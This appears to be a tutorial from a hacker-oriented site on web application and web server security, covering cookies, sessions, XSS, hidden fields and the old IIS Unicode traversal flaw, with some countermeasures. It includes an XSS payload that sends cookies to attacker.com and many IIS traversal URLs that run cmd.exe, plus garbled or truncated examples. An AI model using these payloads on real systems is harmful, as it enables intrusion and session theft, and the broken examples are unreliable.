Conclusion

Conclusion

Attacking web applications is the easiest way to compromise hosts, networks and users. Generally nobody notices web application penetration, until serious damage has been done. Web application vulnerability can be eliminated to a great extent ensuring proper design specifications and coding practices as well as implementing common security procedures. Various tools help the attacker to view the source codes and scan for security holes. The first rule in web application development from a security standpoint is not to rely on the client side data for critical processes. Using an encrypted session such as SSL or "secure" cookies are advocated instead of using hidden fields, which are easily manipulated by attackers. A cross-site scripting vulnerability is caused by the failure of a web based application to validate user supplied input before returning it to the client system. If the application accepts only expected input, then the XSS can be significantly reduced.

Cookie Structure

Cookie Structure

(domain) The website domain that created and that can read the variable.

(flag) A TRUE/FALSE value indicating whether all machines within a given domain can access the variable.

(path) The path attribute supplies a URL range for which the cookie is valid. If path is set to /reference, the cookie will be sent for URLs in /reference as well as sub-directories such as/reference/web protocols. A pathname of "/" indicates that the cookie will be used for all URLs at the site from which the cookie originated.

(secure) A TRUE/FALSE value indicating if an SSL connection with the domain is needed to access the variable.

(expiration) The time that the variable will expire on. Omitting the expiration date signals to the browser to store the cookie only in memory; it will be erased when the browser is closed.

(name) The name of the variable.

The limit on the size of each cookie (name and value combined) is 4 kb. A maximum of 20 cookies per server or domain is allowed.

Cookies are the preferred method to maintain state in HTTP protocol. They are however also used as a convenient mechanism to store user preferences and other data including session tokens. Both persistent and non-persistent cookies, secure or insecure can be modified by the client and sent to the server with URL requests. Therefore any attacker can modify cookie content to his advantage. There is a popular misconception that non-persistent cookies cannot be modified but this is not true; tools like Winhex are able to do the job. SSL also only protects the cookie in transit.

The extent of cookie manipulation depends on what the cookie is used for but usually ranges from session tokens to arrays that make authorization decisions.

Cookie Example

Cookie: lang=en-us; ADMIN=no; y=1; time=05:30GMT;

hacker can simply modify the cookie to;

Cookie: lang=en-us; ADMIN=yes; y=1; time=10:30GMT;

Secure vs. Non-Secure

Secure vs. Non-Secure

Cookies can be set using two main methods, HTTP headers and JavaScript. JavaScript is becoming a popular way to set and read cookies as some proxies will filter cookies set as part of an HTTP response header. Cookies enable a server and browser to pass information among themselves between sessions. Remembering HTTP is stateless, this may simply be between requests for documents in a same session or even when a user requests an image embedded in a page. It is rather like a server stamping a client and saying show this to me next time you come in. Cookies cannot be shared (read or written) across DNS domains. In correct client operation Domain A can't read Domain B's cookies, but there have been much vulnerability in popular web clients which have allowed exactly this. Under HTTP the server responds to a request with an extra header. This header tells the client to add this information to the client's cookies file or store the information in RAM. After this, all requests to that URL from the browser will include the cookie information as an extra header in the request.

Persistent vs. Non-Persistent

Persistent vs. Non-Persistent

Persistent cookies are stored in a text file (cookies.txt under Netscape and multiple *.txt files for Internet Explorer) on the client and are valid for as long as the expiry date is set for (see below). Non-Persistent cookies are stored in RAM on the client and are destroyed when the browser is closed or the cookie is explicitly killed by a log-off script. Secure cookies can only be sent over HTTPS (SSL). Non-Secure cookies can be sent over HTTPS or regular HTTP. The title of secure is somewhat misleading. It only provides transport security. Any data sent to the client should be considered under the total control of the end user, regardless of the transport mechanism in use.

Page Sequencing

Page Sequencing

Page sequencing is the term given to the vulnerability that arises as a result of poor session management, thereby allowing the user to take an out of turn action and bypass the defined sequence of web pages. This can be something like moving ahead to a later stage of a financial transaction. This arises due to faulty session/application state management.

XSS Web Application Hijack [Cookie stealing]

User is logged on to a web application and the session is currently active. An attacker knows of a XSS hole that affects that application.

The user receives a malicious XSS link via an e-mail or comes across it on a web page. In some cases an attacker can even insert it into web content (guest book, banner) and make it load automatically without requiring user intervention.

[Example]

< head>
< body>document.location.replace('http://attacker.com/steal.cgi?'+d
ocument.cookie);"> Free CC's!
< /html>

It is a true that most web sites address security using SSL for authenticating their login sessions. When the client connects to a web site two security events take place. The web site must prove that it is the web site it claims to be. The web site authenticates itself by the SSL certificate issued to the domain in question by a trusted third party. Depending on the extent the user trusts the certificate issuer; user can be assured that the web site is what it claims to be.

Once the web site is authenticated by the user, they can choose to establish a secure data connection via the public key mechanism of SSL so that all the data that is transmitted between them is encrypted.

The user must authenticate them self to the web site. The user provides there username/password into a form and this data is transmitted in an encrypted fashion to the web site for authentication. If the client is authenticated, a session cookie is generated with appropriate timeout and validation information. This is sent back to the user as a "secure cookie" , one that is only passed back and forth over SSL.

This can be considered as passing a shared secret back and forth, which is encrypted and is not the actual password and does timeout. If the website does not use cookies, it can look for session codes that are embedded in the site URLs so that they are never stored in the hard disk of the client computer. Some web sites do require their users to obtain client SSL certificates so that the web site can authenticate the clients via these certificates and thus not need this whole username/password scheme.

Cookies were originally introduced by Netscape and are now specified in RFC-2965, with RFC 2964 and BCP44 offering guidance on best practice. Cookies were never designed to store usernames and passwords or any sensitive information. There are two categories of cookies, secure or non-secure and persistent or non-persistent, giving these individual cookies types.

1. Persistent and Secure
2. Persistent and Non-Secure
3. Non-Persistent and Secure
4. Non-Persistent and Non-Secure

Session Management

Session Management

(Brute Force)

Brute Forcing involves performing an exhaustive key search of a web application authentication token's key space in order to find a legitimate token that can be used to gain access.

According to rfc-2617, the Basic Access Authentication scheme of HTTP is not considered to be a secure method of user authentication (unless used in conjunction with some external secure system such as SSL), as the user name and password are passed over the network as cleartext. To receive authorization, the client sends the userid and password, separated by a single colon (":") character, within a base64 encoded string in the credentials.

user-pass
=
userid ":" password

userid
=
*

password
=
*TEXT

For instance, if the user agent wishes to send the userid "Winnie" and password "the pooh", it would use the following header field:

Authorization: Basic bjplc2vcGZQQWxRpVuIHhZGNFt==

Therefore, it is relatively easy to brute force a protected page if an attacker uses decent dictionary lists.

For the page [victim.com/private/index.html] an Hacker can generate base 64 encoded strings with commonly used usernames and a password, generate HTTP requests, and look for a non-404 response:

(Session Replay)

If a user's authentication tokens are captured or intercepted by an attacker, the session can be replayed by the attacker, making the concerned web application vulnerable to a replay attack. In a replay attack, an attacker openly uses the captured or intercepted authentication tokens such as a cookie to create or obtain service from the victim's account; thereby bypassing normal user authentication methods. A simple example is sniffing a URL with a session ID string and pasting it back into the attacker's web browser. The legitimate user may not necessarily need to be logged into the application at the time of the replay attack. While it is generally that username/password pairs are indeed authentication data and therefore sensitive, it is not generally understood that these generated authentication tokens are also just as sensitive. Many users who may have extremely hard-to-guess passwords are careless with the protection of cookies and session information that can be just as easily used to access their accounts in a replay attack. This is often considered forging "entity authentication" since most applications check the tokens stored in the browser or HTTP stream, and do not require user authentication after each web request.

By simply sniffing the HTTP request of an active session or capturing a desktop user's cookie files, a replay attack can be very easily performed. Exploitation can take the following general forms: Visiting a pre-existing dynamically created URL that is assigned to a specific user's account which has been sniffed or captured from a proxy server log. Visiting a specific URL with a preloaded authentication token (cookie, HTTP header value) captured from a legitimate user.

Combination of both

Session tokens that do not expire on the HTTP server can allow an attacker unlimited time to guess or brute force a valid authenticated session token. An example is the "Remember Me" option on many retail websites. If a user's cookie file is captured or brute-forced, then an attacker can use these static-session tokens to gain access to that user's web accounts. Additionally, session tokens can be potentially logged and cached in proxy servers that, if broken into by an attacker, may contain similar sorts of information in logs that can be exploited if the particular session has not been expired on the HTTP server. To prevent Session Hijacking and Brute Force attacks from occurring to an active session, the HTTP server can seamlessly expire and regenerate tokens to give an attacker a smaller window of time for replay exploitation of each legitimate token. Token expiration can be performed based on number of requests or time.

Session Forging/Brute-Forcing Detection and/or Lockout

Many websites have prohibitions against unrestrained password guessing, it can temporarily lock the account or stop listening to the IP address. With regard to session token brute-force attacks, an attacker can probably try hundreds or thousands of session tokens embedded in a legitimate URL or cookie for example without a single complaint from the HTTP server. Many intrusion-detection systems do look for this type of attack; penetration tests also often overlook this weakness in web e-commerce systems. Designers can use "booby trapped" session tokens that never actually get assigned but will detect if an attacker is trying to brute force a range of tokens. Misuse detection hooks can also be built in to detect if an authenticated user tries to manipulate their token to gain elevated privileges.

Session Re-Authentication

Critical user actions such as money transfer or significant purchase decisions should require the user to re-authenticate or be reissued another session token immediately prior to significant actions. Developers can also somewhat segment data and user actions to the extent where reauthentication is required upon crossing certain "boundaries" to prevent some types of cross-site scripting attacks that exploit user accounts.

Session Token Transmission

If a session token is captured in transit through network interception, a web application account is then prone to a replay or hijacking attack. Typical web encryption technologies include but are not limited to Secure Sockets Layer (SSLv2/v3) and Transport Layer Security (TLS v1) protocols in order to safeguard the state mechanism token.

Session Tokens on Logout

With the popularity of Internet Kiosks and shared computing environments on the rise, session tokens take on a new risk. A browser only destroys session cookies when the browser thread is torn down. Most Internet kiosks maintain the same browser thread. It is recommended to overwrite session cookies when the user logs out of the application.

XSS & XSS Countermeasures

XSS

A Web application vulnerable to XSS allows a user without knowledge to send malicious data to them self through that application.
Attackers often perform XSS exploitation by making malicious URLs and tricking into clicking on them.
These links cause client side scripting languages like VBScript, JavaScript of the attackers choice to execute on the victim's browser.
XSS vulnerabilities are caused by a failure in the web application to properly validate user input.

The simplest description of cross-site scripting can be put as the attack that occurs when a user enters malicious data in a Web site. It can be as simple as posting a message that contains malicious code to a newsgroup. When another person views this message, the browser will interpret the code and execute it, often giving the attacker control of the system. Malicious scripts can also be executed automatically based on certain events, such as when a picture loads. CSS doesn't apply to any single vendor's products, instead, it can affect any software that runs on a web server.

CSS takes place as a result of the failure of the web based application to validate user supplied input, before returning it to the client system. "Cross-Site" refers to the security restrictions that the client browser usually places on data like cookies, dynamic content attributes associated with a web site. This causes the victim's browser to execute malicious code with the same permissions as the domain of the web application, an attacker can bypass the traditional document object model (DOM) security restrictions. The document object model is accessible application interface that allows client-side languages to dynamically access and modify the content, structure and style of a web page.

Cross-Site Scripting (CSS) attacks require the execution of Client-Side Languages (JavaScript, Java, VBScript, ActiveX, Flash) within a user's web environment. Cross Site Scripting can result in an attacker stealing cookies, hijacking sessions, changing of web application account settings and more. The most common web components that are vulnerable to CSS attacks include CGI scripts, search engines, interactive bulletin boards (Forums), and custom error pages with poorly written input validation routines. Also victim does need to click on a link to make the attack happen.

(Attack Example)

Example 1: The IMG tag

http://host/search/search.cgi?query=

Depending on the website setup, this generates html with the image from host2 and feeds it to the user when they click on this link. Depending on the original web page layout it may be possible to entice a user into thinking this is a valid part of the picture.

Example 2:

http://host/something.php?q=

If a user clicks on this link a JavaScript popup box displaying the site's domain name will appear. While this example isn't harmful, an attacker could create a fake form or, perhaps create something that grabs information from the user. The request above is easily questionable to a standard user but with hex, unicode, or %u windows encoding a user could be fooled into thinking this is a valid site link.

Example 3:

http://host/Inserthere

XSS Countermeasures

As a web application user, there are a few ways to protect yourselves from XSS attacks.
The first and the most effective solution is to disable all scripting language support in your browser and email reader.
Another recommendation is to use reasonable caution while clicking links in anonymous e-mails and dubious web pages.
Proxy servers can help filter out malicious scripting in HTML. If the application accepts only expected input, then the XSS can be significantly reduced. Web servers should set the character set, and then make sure that the data they insert is free from byte sequences that are special in the specified encoding. This can typically be done by settings in the application server or web server. The server should define the character set in each html page as below.

Web pages with unspecified character-encoding work mostly because most character sets assign the same characters to byte values below 128. Some 16-bit character-encoding schemes have additional multi-byte representations for special characters such as "<. These should be checked.

The above tells the browser what character set should be used to properly display the page. In addition, most servers must also be configured to tell the browser what character set to use when submitting form data back to the server and what character set the server application should use internally. The configuration of each server for character set control is different, but is very important in understanding the process of converting data that has more than one possible representation into a "standard" canonical representation of input data. Filtering special meta characters is also important. HTML defines certain characters as "special", if they have an effect on page formatting.

(HTML body)

"<" introduces a tag.

"&" introduces a character entity.

Some browsers try to correct poorly formatted HTML and treat ">" as if it were "<".

In attributes:

double quotes mark the end of the attribute value.

single quotes mark the end of the attribute value.

"&" introduces a character entity.

(URLs)

Space, tab, and new line denote the end of the URL.

"&" denotes a character entity or separates query string parameters.

Non-ASCII characters (that is, everything above 128 in the ISO-8859-1 encoding) are not allowed in URLs.

The "%" must be filtered from input anywhere parameters encoded with HTTP escape sequences are decoded by server-side code.

Ensuring correct encoding of dynamic output can prevent malicious scripts from being passed to the user. While this is no guarantee of prevention, it can help contain the problem in certain circumstances. The application can make an explicit decision to encode un-trusted data and leave trusted data untouched, thus preserving mark-up content.

Web Application Security - Input Hacking

Input Hacking

In web server attacks the attacker will first try to probe and manipulate the input fields to gain access into the web server. They can be broadly categorized as given below.

(URL Manipulation CGI Parameter Tampering): This is perhaps the easiest of the lot. By inserting unacceptable or unexpected input in the url through the browser, the attacker tries to gauge whether the server is protected against common vulnerabilities.

(HTTP Client-Header Injection): The next accessible point is the HTTP header. Using HTTP tags such as referrer, the attacker can manipulate the client side to suit his needs.

(Filter/Intrusion Detection Evasion): The best part of attacking a web server is that the attacker can use the default port of entry - namely port 80 - to gain access into the network. As this is a standard port open for business needs, it is easy to evade intrusion detection systems or firewalls.

(Protocol/Method Manipulation): Manipulating the particular protocol or the method used in the function, the attacker can hack into a web server.

(Overflows): Some web server vulnerabilities take advantage of buffer overflows. The advantage is that by using buffer overflow techniques, the attacker can also make the server execute a code of his choice, making it easier for him to exploit the server further.

Web Application Security - Hidden Field Hacking

Hidden Field Hacking

Web applications rely on HTML forms to receive input from the user. However, users can choose to save the form to a file, edit it and then use the edited form to submit data back to the server. Herein lies the vulnerability, as this is a "stateless" interaction with the web application. HTTP transactions are connectionless, one-time transmissions. Hidden fields are embedded in HTML forms to maintain values that get sent back to the server. They serve as a way for web application to pass information between different applications. This data may pass without saving it to database and be may be viewed or changed by the client. Hackers challenge this by examining the HTML code of the page and changing the POST request going to the server. By changing the value, the application is damaged and changed to the new value.

(Hidden field Eaxample)

< input type="hidden" name="ref" size="12" value="http://www.site.com">
< input type="hidden" name="forref" size="12" value= "">
< input type="text" name="username" size="12" value="">

The normal way of checking for the continuity of connection is to check the state of the user from information stored at the user's end (Another pointer to the fallacy in trusting the client side data). This can be stored in a browser in three ways; cookies, encoded URLs and HTML form "hidden" fields.

"Hidden" fields are preferred by developers as it has lesser overhead and can hold a lot of information. However, these can be easily tampered with. For instance if an attacker saves a critical form such as authentication form onto his system, he can view the contents of the file/form including values in the "hidden" fields. Using a text editor, Hacks can change any of the hidden fields as the web application can implicitly trust the user input taken by the hidden field.

One way of hedging this risk is to use the HTTP_REFERER header to capture the last page the user has visited. However, anybody with a little programming knowledge can write a script to make this check useless. Checking HTTP_REFERER will catch big attempts to tamper with forms, but cannot be relied on for serious web applications. Main point is that anything sent back by a web browser: form fields, HTTP headers, and even cookies can all be tampered with and must be considered untrustworthy information.

Detecting "hidden" field tampering adds security in web applications, but for critical apps like e-commerce applications, hidden fields should be avoided at the deleopment stage. For instance, pretend someone placing an order at ebay.com and briefly leaving their desk half-way through placing an order. Anyone with access to the computer can use "view source" to see the credit card information and other data stored in "hidden" fields (if it is being used). A best practice in developing web applications is to avoid storing vital information in "hidden" fields.

Some best ways to protect your site from this attack is not to rely on the client side data for critical processes. Using encrypted sessions such as SSL or "secure" cookies are advocated instead of using hidden fields. Digital algorithms may be used where values of critical parameters may be hashed with a digital signature to ascertain the authenticity of data. The safest way would be to rely on server side authentication mechanisms for high security applications.

Web Application Security

Web Application Security

Here I will exaplain about some of the vulnerabilities in web applications. The objective is to show the need to secure the applications as they allow attackers to compromise a web server or network over the legitimate port of entry and buffer overflows.

Web based application security is diffrent from general web security. In the general context, usually an IDS and firewall give some security. However in the case of web applications, the session takes place through the allowed defult port 80. If encryption is used, it only encrypts the transport protocol and in the event of an attack, the attacker's session will just be encrypted in nature. Encryption does not stop the attack.

Attacking web applications is one of the most common way hackers penetrate any systems. This is true for today's corporate applications where many of them are custom made. Nobody notices this, until serious damage has accured. To the end user the application may be functioning as programmed to. At the organization level, complacency settles in as the organization considers itself secure due to strong networking security.

[Some common Web Application vulnerabilities] are (Reliability of Client-Side Data), It's important that the web application rely on server side data for critical operations rather than the client side data, especially for input purposes. (Special Characters that have not been escaped) Often this aspect is overlooked and special characters that can be used to modify the instructions by the attackers are found in the web application code. For example,"<" and ">", several popular browsers recognize these as the start and end of a tag. (HTML Output Character Filtering) Output filtering helps a developer build an application which is not susceptible to cross site scripting attacks. When information is displayed to users, it should be escaped. HTML should be rendered inactive to prevent cross site scripting attacks. (Root accessibility of web applications) Ideally web applications should not expose the root directory of the web server. Sometimes, it is possible for the user to access the root directory if he can change the input or the URL. (Lack of User Authentication) An obvious security hole is where restricted area access is given without proper authentication, re-use of authentication cache or poor logout procedures. These applications can be vulnerable to cookie based attacks. (Allowing ActiveX/JavaScript) Client side scripting languages are vulnerable to attacks such as cross side scripting.

Penetrating web servers is no different from attacking other systems when it comes to the basic methods. Attackers begin with information gathering and discovery. This can be anything from searching for particular file types / banners on search engines like google. For examples, searching for "index/" may bring up unsuspecting directories on interesting sites where one may find information that can be used for penetrating the web server.
Another important action is identifying the nature of the web application and going over the site map to detect weak areas. This may be a link with another site or a link to the intranet itself. The attacker can go over the source code and find links to other pages, form fields that are vulnerable. Apart from this, forcing the application to return errors can help in fingerprinting and identifying the host. This exercise can also reveal vulnerabilities that can be exploited.
File and application pull ups can be done through forced browsing, discovering hidden files, vulnerable CGIs and sample Files.
Penetration can be carried out through input or output manipulation on the client side.

Web Server Security - About Unicode

About Unicode

ASCII characters for the dots are replaced with hexadecimal equivalent (%2E).
ASCII characters for the slashes are replaced with Unicode equivalent (%co%af).
Unicode 2.0 allows multiple encoding possibilities for each characters.
Unicode for"/": 2f, c0af, e080af, f08080af, f8808080af,.....
Overlong Unicode are NOT malformed, but not allowed by a correct Unicode encoder and decoder.
Maliciously used to bypass filters that only check short Unicode.
--------------------------------------------------------------------------------
[Example]

1) HackersCenter.com/~DoZ
2) This will turn "~" to "%7E" thus making this link HackersCenter.com/%7EDoZ/
--------------------------------------------------------------------------------
Unicode extensions are installed by default with Microsoft Internet Information Server (IIS) version 4.0 and 5.0. This is to allow characters that are not used in the English language to be recognized by web servers. Computers store letters and other characters by assigning a number to them. Unicode provides a unique number for every character. Unicode forms a single character set across all languages. It is a standard 2-byte or 3-byte character set. The IIS Unicode Exploit allows users to run arbitrary commands on the web server. IIS servers with the Unicode extensions loaded are vulnerable unless they are patched.

This exploit can be used when a writeable or executable directory is available, allowing Hackers to upload bad code.
Another is when a system executable such as cmd.exe is available on the root and does not have an access control list applied to it and
when an attacker sends a bad URL to a web server that looks something like this:

[protocol]://site/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:

If the target has a virtual executable directory like scripts located on the same directory of Windows system, the directory of C: will be revealed. The question mark "?" inserted after cmd.exe represents a command line argument.

For example, appending a/c as in the above example, indicates that it carries out the command specified by the sub ceding string and then stops. The "+" indicates the space between arguments. The variable /..%255c..%255c decodes to /.... which translates to a directory traversal.

This is equivalent to sending a hex value to the server. A common example is %20 which refers to a space. Using a direct hex interpretation of a directory traversal will be checked by IIS user access denied.

The exploit occurs because the CGI routine within the web server decodes the address twice. First CGI filename will be decoded to check if it is an executable file like .exe or .com After the filename checkup , IIS will run another decode process. So an attacker will send various hex values of a required character till a suitable value is accepted and excuted.

Therefore '..' can be represented by '..%255c' , '..%%35c' etc. After first decoding, '..%255c' is turned into '..%5c' IIS will take it as legal character string that can pass security checkup. However, after a second decode process, it will be reverted to '..' and the attack succeeds.

[protocol]://site.com/../../../../../winnt/repair/file.

In this case, the web server will just look for the file in the web root directory called "../../../../../winnt/repair/file._". The '../' tells the web server to search one directory above, so here, the web server will look in the document root for a file called winnt/repair/file. _. The no. of '../"s does not matter as long as there are enough of them to change back to the root of the file system, either c: or / on UNIX system.

The IIS Unicode exploit uses the HTTP protocol and malformed URLs to traverse directories and execute bad commands on the vulnerable web servers. The IIS Unicode exploit uses a Unicode representation of a directory delimiter (/) to fool IIS. Because the exploit uses http, it works directly from the address bar of a browser. Because of the non-interactive nature of this exploit.

Web Server Conclusion

Countermeasures for securing web servers include scanning for existing vulnerabilities and patching them immediately, anonymous access restriction, incoming traffic request screening and filtering. Also study the server and if possible get one and test it to its limits so you know its ins and outs.

Web Server Security - Exploiting IIS

Exploiting IIS

The main security functions of a web server is to restrict user requests so they can only access files within the web folders. Microsoft IIS 4.0 and 5.0 are both vulnerable to double dot "../" directory traversal exploitation if extended Unicode character representations are used in substitution for "/" and "\". This vulnerability provides a way for a malicious user to provide a special URL to the web site that will access any files whose name and location he knows, and which is located on the same logical drive as the web folders. This would potentially enable a malicious user who visited the web site to gain additional privileges on the machine - specifically, it could be used to gain privileges commensurate with those of a locally logged-on user. Gaining these permissions would enable the attackers to add, change or delete data, run code already on the server, or upload new code.

-Example 1-

For example lets look on this good link.

[protocol]://site/scripts/..%c1%1c../path/file.ext

* I am using [protocol] to display HTTP. *

[protocol]://site/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

[protocol]://site/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir

[protocol]://site/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir

[protocol]://site/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir

[protocol]://site/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir

[protocol]://site/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir

[protocol]://site/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir

[protocol]://site/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir

-Example 1-

This exploit shows how an attacker can execute commands using a redirect on the target host.

First the attacker copies ".. \..\winnt\system32\cmd.exe" to "..\..\interpub\scripts\cmd1.exe"

Then changes the command to the valid URL.

[protocol]://site/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+copy+..\..\winnt\system32\cmd.exe+cmd1.exe

Vulnerable IIS returns: "CGI Error ... 1 file(s) copied."

The specified CGI application does not return a complete set of HTTP headers. Instead it returns the above error.

Next the attacker runs "cmd1.exe /c echo abc >aaa & dir & type aaa" along with the URL to list the directory contents.

[protocol]://site/scripts/..%c1%9c../inetpub/scripts/cmd1.exe?/c+echo+abc+>aaa&dir&type+aaa

Vulnerable IIS returns:

" Directory of c: \inetpub\scripts

month/day/year [Time] .
month/day/year [Time] ..
month/day/year [Time] 6 aaa
month/day/year [Time] a 236,304 cmd1.exe
..
abc
"

Web Server Security - IIS Risks

IIS Risks

IIS is one of the most widely used Web server platforms on the Internet, with more exploits to it.
Dynamic capabilities were added by using Common Gateway Interface (CGI) applications. These applications run on the server and generate dynamic content different for each request. This capability to process input and generate pages in real time greatly expanded the functional potential of a Web application. Microsoft introduced two similar technologies to serve as the basis for Web applications: Active Server Pages (ASP) and the Internet Server Application Programming Interface (ISAPI). ASP scripts are usually written to be readable scripting language. The ASP interpreter is implemented as an ISAPI DLL. ISAPI on the other hand is much less visible to web surfers. Microsoft uses many ISAPI DLLs to extend IIS itself. ISAPI DLLs are binary files that are not visable to be read or given to human interpretation. However, if the user knows the name of an ISAPI DLL, you can call it trough HTTP. They are capable of running inside or outside the IIS process (inetinfo.exe) and, once instantiated remain resident; thereby reducing the overhead of spawning a new process for a CGI executable to service each request. Two popular files that may be runned when IIS is Hacked is cmd.exe and global.asa, which often contains passwords or other sensitive information. Some old popular exploits were: (Showcode.asp) it's a script that allows a web developer to easily view the code for a number of examples included with Internet Information Server. It comes under several different guises, including showcode.asp, viewcode.asp, and codebrws.asp among others. Essentially it lets the developer view the code of a server-side script without executing it. The problem is that it does not just stop at that because with some manipulation of the URL it lets an attacker view any file on the same drive as the script. Another one was (Piggy-backing privileged command execution on back-end database queries(MDAC/RDS)). MDAC is a package used to integrate Web and database services. It includes the RDS component that provides remote access to database objects through IIS. By exploiting vulnerabilities in RDS depending on the security posture of the website, attackers can send random SQL commands that manipulate the database or retrieve any desired information. In this specific case, the attacker can even gain administrative rights by embedding the shell () VBA command into the SQL command and execute any highly privileged system commands. IIS relies heavily on DLLs to provide various capabilities. Server side scripting, Content Indexing, Web Based printing are another way of exploiting IIS.

Web Server Security - Apache Risks

Apache Risks

Apache vulnerability are commonly found and if not patched, this can cause major security-risks. For example an old vulnerability was found in the Win32 port of Apache, it was when client submitting a very long URI could cause a directory listing to be returned rather than the default index page. A URL with a large number of trailing slashes: /cgi-bin ////////////// could produce directory listing of the original directory. There are more old big vulnerabilities like: (Remote DoS via IPv6), was when a client requests that proxy ftp connect to an ftp server with IPv6 address, and the proxy is unable to create an IPv6 socket, an infinite loop occurs causing a remote Denial of Service. (Remote DoS with multiple Listen directives), Apache server with multiple listening sockets a certain error returned by accept () on a rarely access port can cause a temporary denial of service, due to a bug in the prefork MPM. (Line feed memory leak DoS), Remote attackers can cause a denial of service (memory consumption) via large chunks of linefeed characters, which causes Apache to allocate 80 bytes for each linefeed. Rewrite rules that include references allow access to any file, Apache can serve unexpected files by appending illegal characters such as '<' to the request URL and few others. These are just some of old exploits that Apache whent trough and i belive there are more to be found. But ask your self, how many exploits are there that are not public? These are the more dengrous ones and can be used for months with out any one knowing.

Web Server Security

We will start taking closer look first to web server. For new readers, Web servers are the heart of Web Sites, The Web Server is the system that holds and broadcasts the web-site, like right now, so you can view, read, write, ect.

The browser dissasembles the URL into three parts:

1. Protocol [HTTP]
2. Site name [www.Site.com]
3. File name [web-server.htm]

The [site name] gets translated into IP address. Browser then make a connection to the Web server at IP address on port 80 or the server. The browser then sends a GET [for protocol] request to the server, asking for the file. The server then sends the HTML text for the Web page to the browser and finally reads the HTML tags and makes a visual screen.

There are many popular Web Servers and common security threats that come with that popularity. Hundreds of servers get Hacked every day due to insecurity and poor education. The 3 most popular web servers are Apache Web Server, IIS Web Server and Sun ONE Web Server. What are some common attacks? Well first is when admin misconfigures the web server, Second is sniffing the server and third is DoS attacks (Denial of Service).

Apache Web Server are open-source for operating systems. The server allows HTTP services in sync with the current HTTP standards in an efficient and rich environment. Sun ONE Web Server is a Java Web Server wich is not free. And finally IIS Web Server is Microsoft's web server wich is as popular as Apache and less complicated if your not used to unix or linux platforms. One of the biggest security concern is that the web server can expose the system used on server to the threats posed by the Internet. This may come in form of a worm, backdoor, hackers or loss of important information. Server software bugs are the source of main security holes. Web servers, being large complex devices come with these applied risks. Not just that, but the open architecture of some Web servers allows without regard, scripts to be executed on the server's side of the connection in response to remote requests. Any CGI script installed at the site may contain bugs that are potential security holes. So if there's a script on your site there are chances that you may be target for penetration testing by attackers. Usually the average person does not see any immediate danger, as surfing the web appears both safe and anonymous. However, active content, such as ActiveX controls and Java applets, makes it possible for harmful applications such as viruses or trojans to invade the user's system. For example there are few trojans that can be installed by them self trough activeX with out any warning or notification, thats why its recommended to get FireFox due to Internet Explorer in-security. The TCP/IP protocol was not designed with security as its main priority. Therefore, data can be compromised in terms of confidentiality, authentication, and integrity as it is transmitted across the Web.